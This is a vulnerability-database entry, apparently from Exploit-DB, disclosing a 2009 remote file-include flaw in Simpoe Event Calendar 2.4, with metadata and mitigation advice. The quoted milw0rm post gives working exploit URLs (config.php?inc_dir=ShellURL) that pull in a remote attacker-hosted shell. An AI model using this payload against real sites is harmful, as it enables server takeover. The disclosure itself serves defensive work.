Simpoe Event Calendar Remote File Include Vulnerability

vendor:

Event Calendar

by:

DarKdewiL

8,3

CVSS

HIGH

Remote File Include

CWE

Product Name: Event Calendar

Affected Version From: 2.4

Affected Version To: 2.4

Patch Exists: NO

Related CWE: N/A

CPE: a:simpoe:event_calendar

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Simpoe Event Calendar Remote File Include Vulnerability

Simpoe Event Calendar is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to execute arbitrary PHP code within the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized.

Source

Exploit-DB raw data:

//***********************************************************************//
//**********************1 9 2 3 T U R K - G R U P************************//
//_______________________________________________________________________//
//-----------------------------------------------------------------------//

<--[+]-->
 
[~] Home Page : "http://www.simpoe.com/"
[~] Download : "http://www.simpoe.com/calendre/TotalCalendar_2.4.zip"
[~] ScriptName: "Simpoe Event Calendar"
[~] Date: "20/04/2009"
[~] Time: "18:38"

<--[!]-->

[+] Bugs : Remote File Include
[+] D0rk : Not Dork :(
[+] Author : DarKdewiL
[+] GroupWeb : www.1923turk.biz
[+] Contact : darkdewil@1923turk.biz

[!] Note : You're too important for anyone <1923Turk>
   
<--[-]-->

(+)Vuln:

http://www.sitename.com/calendre/config.php?inc_dir=ShellURL

OR

http://www.sitename.com/config.php?inc_dir=ShellURL

//***********************************************************************//
//***********************************************************************//
//***********************************************************************//

# milw0rm.com [2009-04-20]